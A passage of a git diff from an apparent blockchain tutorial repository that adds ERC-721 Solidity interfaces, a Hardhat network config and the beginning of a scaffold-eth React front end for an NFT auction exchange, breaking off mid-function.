+        if (bytes(_tokenURI).length > 0) {
+            return string(abi.encodePacked(base, _tokenURI));
+        }
+
+        return super.tokenURI(tokenId);
+    }
+
+    /**
+     * @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
+     *
+     * Requirements:
+     *
+     * - `tokenId` must exist.
+     */
+    function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
+        require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
+        _tokenURIs[tokenId] = _tokenURI;
+    }
+
+    /**
+     * @dev Destroys `tokenId`.
+     * The approval is cleared when the token is burned.
+     *
+     * Requirements:
+     *
+     * - `tokenId` must exist.
+     *
+     * Emits a {Transfer} event.
+     */
+    function _burn(uint256 tokenId) internal virtual override {
+        super._burn(tokenId);
+
+        if (bytes(_tokenURIs[tokenId]).length != 0) {
+            delete _tokenURIs[tokenId];
+        }
+    }
+}
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/extensions/EnumerableSet.sol b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/EnumerableSet.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/extensions/EnumerableSet.sol
rename to basic/16-nft-auction-exchange/contracts/erc-token/extensions/EnumerableSet.sol
diff --git a/basic/16-nft-auction-exchange/contracts/erc-token/extensions/IERC721Enumerable.sol b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/IERC721Enumerable.sol
new file mode 100644
index 000000000..6cf0f8369
--- /dev/null
+++ b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/IERC721Enumerable.sol
@@ -0,0 +1,29 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "../IERC721.sol";
+
+/**
+ * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
+ * @dev See https://eips.ethereum.org/EIPS/eip-721
+ */
+interface IERC721Enumerable is IERC721 {
+
+    /**
+     * @dev Returns the total amount of tokens stored by the contract.
+     */
+    function totalSupply() external view returns (uint256);
+
+    /**
+     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
+     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
+     */
+    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
+
+    /**
+     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
+     * Use along with {totalSupply} to enumerate all tokens.
+     */
+    function tokenByIndex(uint256 index) external view returns (uint256);
+}
diff --git a/basic/16-nft-auction-exchange/contracts/erc-token/extensions/IERC721Metadata.sol b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/IERC721Metadata.sol
new file mode 100644
index 000000000..2379baca9
--- /dev/null
+++ b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/IERC721Metadata.sol
@@ -0,0 +1,27 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "../IERC721.sol";
+
+/**
+ * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
+ * @dev See https://eips.ethereum.org/EIPS/eip-721
+ */
+interface IERC721Metadata is IERC721 {
+
+    /**
+     * @dev Returns the token collection name.
+     */
+    function name() external view returns (string memory);
+
+    /**
+     * @dev Returns the token collection symbol.
+     */
+    function symbol() external view returns (string memory);
+
+    /**
+     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
+     */
+    function tokenURI(uint256 tokenId) external view returns (string memory);
+}
diff --git a/basic/16-nft-auction-exchange/contracts/erc-token/extensions/IERC721Receiver.sol b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/IERC721Receiver.sol
new file mode 100644
index 000000000..081f4ab8d
--- /dev/null
+++ b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/IERC721Receiver.sol
@@ -0,0 +1,21 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+/**
+ * @title ERC721 token receiver interface
+ * @dev Interface for any contract that wants to support safeTransfers
+ * from ERC721 asset contracts.
+ */
+interface IERC721Receiver {
+    /**
+     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
+     * by `operator` from `from`, this function is called.
+     *
+     * It must return its Solidity selector to confirm the token transfer.
+     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
+     *
+     * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
+     */
+    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
+}
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/extensions/Ownable.sol b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/Ownable.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/extensions/Ownable.sol
rename to basic/16-nft-auction-exchange/contracts/erc-token/extensions/Ownable.sol
diff --git a/Example09-hardhat-react/contracts/extensions/Pausable.sol b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/Pausable.sol
similarity index 98%
rename from Example09-hardhat-react/contracts/extensions/Pausable.sol
rename to basic/16-nft-auction-exchange/contracts/erc-token/extensions/Pausable.sol
index dd0db6e6b..9a56f3293 100644
--- a/Example09-hardhat-react/contracts/extensions/Pausable.sol
+++ b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/Pausable.sol
@@ -2,7 +2,7 @@
 
 pragma solidity ^0.8.0;
 
-import "../utils/Context.sol";
+import "./Context.sol";
 
 /**
  * @dev Contract module which allows children to implement an emergency stop
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/extensions/Strings.sol b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/Strings.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/extensions/Strings.sol
rename to basic/16-nft-auction-exchange/contracts/erc-token/extensions/Strings.sol
diff --git a/basic/16-nft-auction-exchange/hardhat.config.js b/basic/16-nft-auction-exchange/hardhat.config.js
new file mode 100644
index 000000000..e214b882a
--- /dev/null
+++ b/basic/16-nft-auction-exchange/hardhat.config.js
@@ -0,0 +1,76 @@
+require('@nomiclabs/hardhat-waffle');
+//todo import typechain
+//require("hardhat-typechain");
+const fs = require('fs');
+require('dotenv').config();
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task('accounts', 'Prints the list of accounts', async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+  return process.env.PRIVATE_KEY_ADMIN;
+}
+
+function mnemonicAlice() {
+  return process.env.PRIVATE_KEY_ALICE;
+}
+
+function mnemonicBob() {
+  return process.env.PRIVATE_KEY_BOB;
+}
+
+function mnemonicTest() {
+  return process.env.PRIVATE_KEY_TEST;
+}
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      {
+        version: '0.8.3',
+      },
+      {
+        version: '0.6.6',
+        settings: {},
+      },
+    ],
+  },
+  networks: {
+    hardhat: {
+      accounts: [
+        { privateKey: mnemonic(), balance: '10000000000000000000000' },
+        { privateKey: mnemonicAlice(), balance: '10000000000000000000000' },
+        { privateKey: mnemonicBob(), balance: '10000000000000000000000' },
+        { privateKey: mnemonicTest(), balance: '10000000000000000000000' },
+      ],
+    },
+    localhost: {
+      url: 'http://localhost:8545',
+      accounts: [mnemonic(), mnemonicAlice(), mnemonicBob(), mnemonicTest()],
+    },
+    goerli: {
+      url: 'https://goerli.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    mainnet: {
+      url: 'https://mainnet.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    ropsten: {
+      url: 'https://ropsten.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+  },
+};
diff --git a/basic/16-nft-auction-exchange/package.json b/basic/16-nft-auction-exchange/package.json
new file mode 100644
index 000000000..8dd5592be
--- /dev/null
+++ b/basic/16-nft-auction-exchange/package.json
@@ -0,0 +1,17 @@
+{
+  "name": "hardhat-project",
+  "devDependencies": {
+    "@chainlink/contracts": "0.1.7",
+    "@nomiclabs/hardhat-ethers": "^2.0.2",
+    "@nomiclabs/hardhat-waffle": "^2.0.1",
+    "chai": "^4.3.4",
+    "ethereum-waffle": "^3.3.0",
+    "ethers": "^5.2.0",
+    "hardhat": "^2.3.0"
+  },
+  "dependencies": {
+    "dotenv": "^10.0.0",
+    "ipfs-api": "^26.1.2",
+    "ramda": "^0.27.1"
+  }
+}
diff --git a/basic/16-nft-auction-exchange/react-app/.env.example b/basic/16-nft-auction-exchange/react-app/.env.example
new file mode 100644
index 000000000..7e33cea3b
--- /dev/null
+++ b/basic/16-nft-auction-exchange/react-app/.env.example
@@ -0,0 +1,2 @@
+REACT_APP_PROVIDER=https://rinkeby.infura.io/v3/2717afb6bf164045b5d5468031b93f87
+SKIP_PREFLIGHT_CHECK=true
\ No newline at end of file
diff --git a/Example16-hardhat-auction-exchange/react-app/.eslintignore b/basic/16-nft-auction-exchange/react-app/.eslintignore
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/.eslintignore
rename to basic/16-nft-auction-exchange/react-app/.eslintignore
diff --git a/Example16-hardhat-auction-exchange/react-app/.eslintrc.js b/basic/16-nft-auction-exchange/react-app/.eslintrc.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/.eslintrc.js
rename to basic/16-nft-auction-exchange/react-app/.eslintrc.js
diff --git a/Example16-hardhat-auction-exchange/react-app/.prettierrc b/basic/16-nft-auction-exchange/react-app/.prettierrc
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/.prettierrc
rename to basic/16-nft-auction-exchange/react-app/.prettierrc
diff --git a/Example16-hardhat-auction-exchange/react-app/gulpfile.js b/basic/16-nft-auction-exchange/react-app/gulpfile.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/gulpfile.js
rename to basic/16-nft-auction-exchange/react-app/gulpfile.js
diff --git a/Example16-hardhat-auction-exchange/react-app/package.json b/basic/16-nft-auction-exchange/react-app/package.json
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/package.json
rename to basic/16-nft-auction-exchange/react-app/package.json
diff --git a/Example16-hardhat-auction-exchange/react-app/public/dark-theme.css b/basic/16-nft-auction-exchange/react-app/public/dark-theme.css
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/public/dark-theme.css
rename to basic/16-nft-auction-exchange/react-app/public/dark-theme.css
diff --git a/Example16-hardhat-auction-exchange/react-app/public/favicon.ico b/basic/16-nft-auction-exchange/react-app/public/favicon.ico
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/public/favicon.ico
rename to basic/16-nft-auction-exchange/react-app/public/favicon.ico
diff --git a/Example16-hardhat-auction-exchange/react-app/public/index.html b/basic/16-nft-auction-exchange/react-app/public/index.html
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/public/index.html
rename to basic/16-nft-auction-exchange/react-app/public/index.html
diff --git a/Example16-hardhat-auction-exchange/react-app/public/light-theme.css b/basic/16-nft-auction-exchange/react-app/public/light-theme.css
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/public/light-theme.css
rename to basic/16-nft-auction-exchange/react-app/public/light-theme.css
diff --git a/Example16-hardhat-auction-exchange/react-app/public/logo192.png b/basic/16-nft-auction-exchange/react-app/public/logo192.png
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/public/logo192.png
rename to basic/16-nft-auction-exchange/react-app/public/logo192.png
diff --git a/Example16-hardhat-auction-exchange/react-app/public/logo512.png b/basic/16-nft-auction-exchange/react-app/public/logo512.png
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/public/logo512.png
rename to basic/16-nft-auction-exchange/react-app/public/logo512.png
diff --git a/Example16-hardhat-auction-exchange/react-app/public/manifest.json b/basic/16-nft-auction-exchange/react-app/public/manifest.json
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/public/manifest.json
rename to basic/16-nft-auction-exchange/react-app/public/manifest.json
diff --git a/Example16-hardhat-auction-exchange/react-app/public/robots.txt b/basic/16-nft-auction-exchange/react-app/public/robots.txt
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/public/robots.txt
rename to basic/16-nft-auction-exchange/react-app/public/robots.txt
diff --git a/Example16-hardhat-auction-exchange/react-app/public/scaffold-eth.png b/basic/16-nft-auction-exchange/react-app/public/scaffold-eth.png
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/public/scaffold-eth.png
rename to basic/16-nft-auction-exchange/react-app/public/scaffold-eth.png
diff --git a/Example16-hardhat-auction-exchange/react-app/scripts/ipfs.js b/basic/16-nft-auction-exchange/react-app/scripts/ipfs.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/scripts/ipfs.js
rename to basic/16-nft-auction-exchange/react-app/scripts/ipfs.js
diff --git a/Example16-hardhat-auction-exchange/react-app/scripts/s3.js b/basic/16-nft-auction-exchange/react-app/scripts/s3.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/scripts/s3.js
rename to basic/16-nft-auction-exchange/react-app/scripts/s3.js
diff --git a/Example16-hardhat-auction-exchange/react-app/scripts/watch.js b/basic/16-nft-auction-exchange/react-app/scripts/watch.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/scripts/watch.js
rename to basic/16-nft-auction-exchange/react-app/scripts/watch.js
diff --git a/Example16-hardhat-auction-exchange/react-app/src/App.css b/basic/16-nft-auction-exchange/react-app/src/App.css
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/App.css
rename to basic/16-nft-auction-exchange/react-app/src/App.css
diff --git a/basic/16-nft-auction-exchange/react-app/src/App.jsx b/basic/16-nft-auction-exchange/react-app/src/App.jsx
new file mode 100644
index 000000000..0ce18f3ff
--- /dev/null
+++ b/basic/16-nft-auction-exchange/react-app/src/App.jsx
@@ -0,0 +1,1176 @@
+import React, { useCallback, useEffect, useState } from "react";
+import { BrowserRouter, Switch, Route, Link } from "react-router-dom";
+import "antd/dist/antd.css";
+import { LinkOutlined } from "@ant-design/icons";
+import { StaticJsonRpcProvider, Web3Provider } from "@ethersproject/providers";
+import "./App.css";
+import { Row, Col, Button, Menu, Alert, Input, List, Card, Modal, InputNumber, Radio } from "antd";
+import Web3Modal from "web3modal";
+import WalletConnectProvider from "@walletconnect/web3-provider";
+import { useUserAddress } from "eth-hooks";
+import { format } from "date-fns";
+import {
+  Header,
+  Account,
+  Faucet,
+  Ramp,
+  Contract,
+  GasGauge,
+  Address,
+  ThemeSwitch,
+  NoWalletDetected,
+  Loading,
+} from "./components";
+import {
+  useExchangePrice,
+  useGasPrice,
+  useUserProvider,
+  useContractLoader,
+  useContractReader,
+  useEventListener,
+  useBalance,
+  useExternalContractLoader,
+} from "./hooks";
+import { Transactor } from "./helpers";
+import { parseEther } from "@ethersproject/units";
+import { constants } from "ethers";
+import { INFURA_ID, DAI_ADDRESS, DAI_ABI, NETWORK, NETWORKS } from "./constants";
+import { parseUnits } from "@ethersproject/units";
+import { hexlify } from "@ethersproject/bytes";
+import StackGrid from "react-stack-grid";
+import ReactJson from "react-json-view";
+import assets from "./assets.js";
+import assetsAuctionStat from "./assetsAuctionStat.js";
+
+const { BufferList } = require("bl");
+// https://www.npmjs.com/package/ipfs-http-client
+const ipfsAPI = require("ipfs-http-client");
+const ipfs = ipfsAPI({ host: "localhost", port: "5001", protocol: "http" });
+
+console.log("📦 Assets:========== ", assets);
+
+const assetsInitAuctionStat = {};
+for (let a in assetsAuctionStat) {
+  assetsInitAuctionStat[assetsAuctionStat[a]] = {};
+  assetsInitAuctionStat[assetsAuctionStat[a]].forSale = true;
+  assetsInitAuctionStat[assetsAuctionStat[a]].forAuction = false;
+  assetsInitAuctionStat[assetsAuctionStat[a]].assetAuctionType = "1";
+}
+
+const allUserCollections = {};
+const usersBid = {};
+// let networkError;
+
+console.log("Hello , I'm  assetsInitAuctionStat");
+/*
+    Welcome to 🏗 scaffold-eth !
+
+    Code:
+    https://github.com/austintgriffith/scaffold-eth
+
+    Support:
+    https://t.me/joinchat/KByvmRe5wkR-8F_zz6AjpA
+    or DM @austingriffith on twitter or telegram
+
+    You should get your own Infura.io ID and put it in `constants.js`
+    (this is your connection to the main Ethereum network for ENS etc.)
+
+
+    🌏 EXTERNAL CONTRACTS:
+    You can also bring in contract artifacts in `constants.js`
+    (and then use the `useExternalContractLoader()` hook!)
+*/
+
+/// 📡 What chain are your contracts deployed to?
+const targetNetwork = NETWORKS["localhost"]; // <------- select your target frontend network (localhost, rinkeby, xdai, mainnet)
+
+// 😬 Sorry for all the console logging
+const DEBUG = true;
+
+//EXAMPLE STARTING JSON:
+const STARTING_JSON = {
+  description: "It's actually a bison?",
+  external_url: "https://austingriffith.com/portfolio/paintings/", // <-- this can link to a page for the specific file too
+  image: "https://austingriffith.com/images/paintings/buffalo.jpg",
+  name: "Buffalo",
+  attributes: [
+    {
+      trait_type: "BackgroundColor",
+      value: "green",
+    },
+    {
+      trait_type: "Eyes",
+      value: "googly",
+    },
+  ],
+};
+
+const WalletCheck = {
+  walletExist: false,
+  approvePermission: {},
+  connecting: false,
+};
+
+//helper function to "Get" from IPFS
+// you usually go content.toString() after this...
+const getFromIPFS = async hashToGet => {
+  for await (const file of ipfs.get(hashToGet)) {
+    console.log(file.path);
+    if (!file.content) continue;
+    const content = new BufferList();
+    for await (const chunk of file.content) {
+      content.append(chunk);
+    }
+    console.log(content);
+    return content;
+  }
+};
+
+// 🛰 providers
+if (DEBUG) console.log("📡 Connecting to Mainnet Ethereum");
+// const mainnetProvider = getDefaultProvider("mainnet", { infura: INFURA_ID, etherscan: ETHERSCAN_KEY, quorum: 1 });
+// const mainnetProvider = new InfuraProvider("mainnet",INFURA_ID);
+//
+// attempt to connect to our own scaffold eth rpc and if that fails fall back to infura...
+// Using StaticJsonRpcProvider as the chainId won't change see https://github.com/ethers-io/ethers.js/issues/901
+const scaffoldEthProvider = new StaticJsonRpcProvider("https://rpc.scaffoldeth.io:48544");
+const mainnetInfura = new StaticJsonRpcProvider("https://mainnet.infura.io/v3/" + INFURA_ID);
+// ( ⚠️ Getting "failed to meet quorum" errors? Check your INFURA_I
+
+// 🏠 Your local provider is usually pointed at your local blockchain
+const localProviderUrl = targetNetwork.rpcUrl;
+// as you deploy to other networks you can set REACT_APP_PROVIDER=https://dai.poa.network in packages/react-app/.env
+const localProviderUrlFromEnv = process.env.REACT_APP_PROVIDER ? process.env.REACT_APP_PROVIDER : localProviderUrl;
+if (DEBUG) console.log("🏠 Connecting to provider:", localProviderUrlFromEnv);
+const localProvider = new StaticJsonRpcProvider(localProviderUrl);
+
+// 🔭 block explorer URL
+const blockExplorer = targetNetwork.blockExplorer;
+
+function App(props) {
+  if (window.ethereum) {
+    WalletCheck.walletExist = true;
+  }
+
+  let [permissionApproved] = useState(false);
+
+  const mainnetProvider = scaffoldEthProvider && scaffoldEthProvider._network ? scaffoldEthProvider : mainnetInfura;
+
+  //const _provider = new ethers.providers.Web3Provider(window.ethereum)
+  const [injectedProvider, setInjectedProvider] = useState();
+
+  /* 💵 This hook will get the price of ETH from 🦄 Uniswap: */
+  const price = useExchangePrice(targetNetwork, mainnetProvider);
+
+  /* 🔥 This hook will get the price of Gas from ⛽️ EtherGasStation */
+  const gasPrice = useGasPrice(targetNetwork, "fast");
+  // Use your injected provider from 🦊 Metamask or if you don't have it then instantly generate a 🔥 burner wallet.
+  const userProvider = useUserProvider(injectedProvider, localProvider);
+  const address = useUserAddress(userProvider);
+  if (!allUserCollections[address]) {
+    allUserCollections[address] = [];
+  }
+
+  if (!usersBid[address]) {
+    usersBid[address] = {};
+  }
+
+  if (!WalletCheck.approvePermission[address]) {
+    WalletCheck.approvePermission[address] = false;
+  } else {
+    permissionApproved = WalletCheck.approvePermission[address];
+  }
+
+  // You can warn the user if you would like them to be on a specific network
+  let localChainId = localProvider && localProvider._network && localProvider._network.chainId;
+  let selectedChainId = userProvider && userProvider._network && userProvider._network.chainId;
+  console.log("user provider network", userProvider._network);
+
+  // For more hooks, check out 🔗eth-hooks at: https://www.npmjs.com/package/eth-hooks
+
+  // The transactor wraps transacti ons and provides notificiations
+  const tx = Transactor(userProvider, gasPrice);
+
+  // Faucet Tx can be used to send funds from the faucet
+  // const faucetTx = Transactor(localProvider, gasPrice);
+
+  // Load in your local 📝 contract and read a value from it:
+  const readContracts = useContractLoader(localProvider);
+
+  // If you want to make 🔐 write transactions to your contracts, use the userProvider:
+  const writeContracts = useContractLoader(userProvider);
+
+  // 🏗 scaffold-eth is full of handy hooks like this one to get your balance:
+  const yourLocalBalance = useBalance(writeContracts, address, localProvider);
+
+  // EXTERNAL CONTRACT EXAMPLE:
+  //
+  // If you want to bring in the mainnet DAI contract it would look like:
+  const mainnetDAIContract = useExternalContractLoader(mainnetProvider, DAI_ADDRESS, DAI_ABI);
+
+  if (DEBUG) console.log("🌍 DAI contract on mainnet:", mainnetDAIContract);
+  //
+  // Then read your DAI balance like:
+  const myMainnetDAIBalance = useContractReader({ DAI: mainnetDAIContract }, "DAI", "balanceOf", [
+    "0x34aA3F359A9D614239015126635CE7732c18fDF3",
+  ]);
+  if (DEBUG) console.log("🥇 myMainnetDAIBalance:", myMainnetDAIBalance);
+
+  // keep track of a variable from the contract in the local React state:
+  const balance = useContractReader(readContracts, "MYERC721", "balanceOf", [address]);
+  if (DEBUG) console.log("🤗 balance:", balance);
+
+  //📟 Listen for broadcast events
+  const transferEvents = useEventListener(readContracts, "MYERC721", "Transfer", localProvider, 1);
+  if (DEBUG) console.log("📟 Transfer events:", transferEvents);
+
+  const [modalVisible, setModalVisible] = useState(false);
+  const [auctionDetails, setAuctionDetails] = useState({ price: "", duration: "" });
+  const [auctionToken, setAuctionToken] = useState("");
+
+  //
+  // 🧠 This effect will update yourCollectibles by polling when your balance changes
+  //
+  const [yourCollectibles, setYourCollectibles] = useState(assetsInitAuctionStat);
+
+  let [userCollections, setUserCollections] = useState([]);
+  if (allUserCollections[address]) {
+    userCollections = [...allUserCollections[address]];
+  }
+
+  // useEffect(()=>{
+  //   const updateYourCollectibles = async () => {
+  //     let collectibleUpdate = []
+  //     for(let tokenIndex=0;tokenIndex<balance;tokenIndex++){
+  //       try{
+  //         console.log("GEtting token index",tokenIndex)
+  //         const tokenId = await readContracts.YourCollectible.tokenOfOwnerByIndex(address, tokenIndex)
+  //         console.log("tokenId",tokenId)
+  //         const tokenURI = await readContracts.YourCollectible.tokenURI(tokenId)
+  //         console.log("tokenURI",tokenURI)
+  //
+  //         const ipfsHash =  tokenURI.replace("https://ipfs.io/ipfs/","")
+  //         console.log("ipfsHash",ipfsHash)
+  //
+  //         const jsonManifestBuffer = await getFromIPFS(ipfsHash)
+  //
+  //         try{
+  //           const jsonManifest = JSON.parse(jsonManifestBuffer.toString())
+  //           // console.log("jsonManifest",jsonManifest)
+  //           collectibleUpdate.push({ id:tokenId, uri:tokenURI, owner: address, ...jsonManifest })
+  //         }catch(e){console.log(e)}
+  //
+  //       }catch(e){console.log(e)}
+  //     }
+  //     setYourCollectibles(collectibleUpdate)
+  //   }
+  //   updateYourCollectibles()
+  // },[ address, yourBalance ])
+
+  /*
+  const addressFromENS = useResolveName(mainnetProvider, "austingriffith.eth");
+  console.log("🏷 Resolved austingriffith.eth as:",addressFromENS)
+  */
+
+  //
+  // 🧫 DEBUG 👨🏻‍🔬
+  //
+  useEffect(() => {
+    if (
+      DEBUG &&
+      mainnetProvider &&
+      address &&
+      selectedChainId &&
+      yourLocalBalance &&
+      readContracts &&
+      writeContracts &&
+      mainnetDAIContract
+    ) {
+      console.log("_____________________________________ 🏗 scaffold-eth _____________________________________");
+      console.log("🌎 mainnetProvider", mainnetProvider);
+      console.log("🏠 localChainId", localChainId);
+      console.log("👩‍💼 selected address:", address);
+      console.log("🕵🏻‍♂️ selectedChainId:", selectedChainId);
+      console.log("💵 yourLocalBalance", yourLocalBalance ? yourLocalBalance : "...");
+      console.log("📝 readContracts", readContracts);
+      console.log("🌍 DAI contract on mainnet:", mainnetDAIContract);
+      console.log("🔐 writeContracts", writeContracts);
+    }
+  }, [mainnetProvider, address, selectedChainId, yourLocalBalance, readContracts, writeContracts, mainnetDAIContract]);
+
+  let networkDisplay = "";
+  if (localChainId && selectedChainId && localChainId != selectedChainId) {
+    networkDisplay = (
+      <div style={{ zIndex: 2, position: "absolute", right: 0, top: 60, padding: 16 }}>
+        <Alert
+          message={"⚠️ Wrong Network"}
+          description={
+            <div>
+              You have <b>{NETWORK(selectedChainId) ? NETWORK(selectedChainId).name : "unknow network"}</b> selected and
+              you need to be on <b>{NETWORK(localChainId).name}</b>.
+            </div>
+          }
+          type="error"
+          closable={false}
+        />
+      </div>
+    );
+  } else {
+    networkDisplay = (
+      <div style={{ zIndex: -1, position: "absolute", right: 154, top: 28, padding: 16, color: targetNetwork.color }}>
+        {targetNetwork.name}
+      </div>
+    );
+  }
+
+  const loadWeb3Modal = useCallback(async () => {
+    console.log("loadWeb3Modal", web3Modal, web3Modal.cachedProvider);
+    const provider = await web3Modal.connect();
+    console.log(provider);
+    setInjectedProvider(new Web3Provider(provider));
+  }, [setInjectedProvider]);
+
+  useEffect(() => {
+    if (web3Modal.cachedProvider) {
+      loadWeb3Modal();
+    }
+  }, [loadWeb3Modal]);
+
+  const [route, setRoute] = useState();
+  useEffect(() => {
+    setRoute(window.location.pathname);
+  }, [setRoute]);
+
+  let faucetHint = "";
+  const faucetAvailable = localProvider && localProvider.connection && targetNetwork.name === "localhost";
+
+  const grabFounds = async () => {
+    let currentSupply = parseInt(await readContracts.SimpleToken.balanceOf(address));
+    console.log("Total balance of erc20 with current address is", currentSupply);
+    if (currentSupply < 1000) {
+      await tx(readContracts.SimpleToken.mint(address, 1000));
+    }
+    currentSupply = await readContracts.SimpleToken.balanceOf(address);
+    console.log("Total balance of erc20 with current address is", currentSupply);
+  };
+
+  console.log("For grabFounds");
+  console.log("Your local Balance");
+  console.log(yourLocalBalance);
+  faucetHint = (
+    <div style={{ padding: 16, position: "fixed", textAlign: "right", right: 0, top: 40 }}>
+      <Button
+        type={"primary"}
+        onClick={() => {
+          grabFounds();
+        }}
+      >
+        💰 Grab funds from the faucet when balance less than 1000 ⛽️
+      </Button>
+    </div>
+  );
+
+  const [yourJSON, setYourJSON] = useState(STARTING_JSON);
+  const [sending, setSending] = useState();
+  const [ipfsHash, setIpfsHash] = useState();
+  const [ipfsDownHash, setIpfsDownHash] = useState();
+
+  const [downloading, setDownloading] = useState();
+  const [ipfsContent, setIpfsContent] = useState();
+  let [yourBid, setYourBid] = useState(usersBid[address]);
+  if (usersBid[address]) {
+    yourBid = usersBid[address];
+  }
+
+  const [transferToAddresses, setTransferToAddresses] = useState({});
+
+  const [loadedAssets, setLoadedAssets] = useState();
+
+  const [url2TokenID, setUrl2TokenID] = useState({});
+
+  const [auctionType, setAuctionType] = useState(1);
+
+  let [Hover, setHover] = useState(false);
+
+  const updateYourCollectibles = async () => {
+    let assetUpdate = [];
+    for (let a in assets) {
+      try {
+        const forSale = yourCollectibles[a].forSale;
+        let owner;
+        let auctionInfo = {
+          seller: "",
+          price: 0,
+          duration: 0,
+          tokenAddress: 0,
+          maxBid: 0,
+          maxBidUser: 0,
+          isActive: false,
+          bidAmounts: [],
+          users: [],
+        };
+        if (!forSale) {
+          const tokenId = url2TokenID[a];
+          owner = await readContracts.MYERC721.ownerOf(tokenId);
+          const nftAddress = readContracts.MYERC721.address;
+          console.log("yourCollectibles[a]");
+          console.log(yourCollectibles[a]);
+          if (yourCollectibles[a].forAuction) {
+            if (yourCollectibles[a].assetAuctionType === 1) {
+              auctionInfo = await readContracts.AuctionUnfixedPrice.getTokenAuctionDetails(nftAddress, tokenId);
+            } else {
+              auctionInfo = await readContracts.AuctionFixedPrice.getTokenAuctionDetails(nftAddress, tokenId);
+            }
+          }
+          console.log("========== forSale is false");
+          console.log(auctionInfo);
+        }
+        assetUpdate.push({ id: a, ...assets[a], forSale: forSale, owner: owner, auctionInfo });
+      } catch (e) {
+        console.log(e);
+      }
+    }
+    setLoadedAssets(assetUpdate);
+  };
+
+  useEffect(() => {
+    if (readContracts && yourCollectibles) updateYourCollectibles();
+  }, [assets, readContracts, transferEvents, yourCollectibles]);
+
+  const startAuction = tokenUri => {
+    return async () => {
+      if (!injectedProvider) {
+        await loadWeb3Modal();
+      }
+      if (!WalletCheck.approvePermission[address]) {
+        await connectWallet();
+      }
+      setAuctionToken(tokenUri);
+      setModalVisible(true);
+      setAuctionType(1);
+    };
+  };
+
+  const placeBid = async (tokenUri, bidPrice, BidType) => {
+    console.log("In placeBid , the tokenUri is ", tokenUri);
+    const tokenId = url2TokenID[tokenUri];
+    const nftAddress = readContracts.MYERC721.address;
+
+    try {
+      if (BidType === 1) {
+        console.log("Going to bid when auctionType is 1");
+        await tx(writeContracts.AuctionUnfixedPrice.bid(nftAddress, tokenId, bidPrice));
+      } else {
+        console.log("Going to bid when auctionType is 2");
+        await tx(writeContracts.AuctionFixedPrice.purchaseNFTToken(nftAddress, tokenId));
+        assetsInitAuctionStat[auctionToken].forAuction = false;
+        delete yourBid[tokenUri];
+        userCollections.push(tokenUri);
+        allUserCollections[address] = userCollections;
+        setUserCollections(userCollections);
+        setYourCollectibles(assetsInitAuctionStat);
+      }
+      usersBid[address] = yourBid;
+      updateYourCollectibles();
+    } catch (e) {
+      console.log("Failed to placeBid");
+      console.log(e);
+    }
+  };
+
+  const completeAuction = tokenUri => {
+    return async () => {
+      const tokenId = url2TokenID[tokenUri];
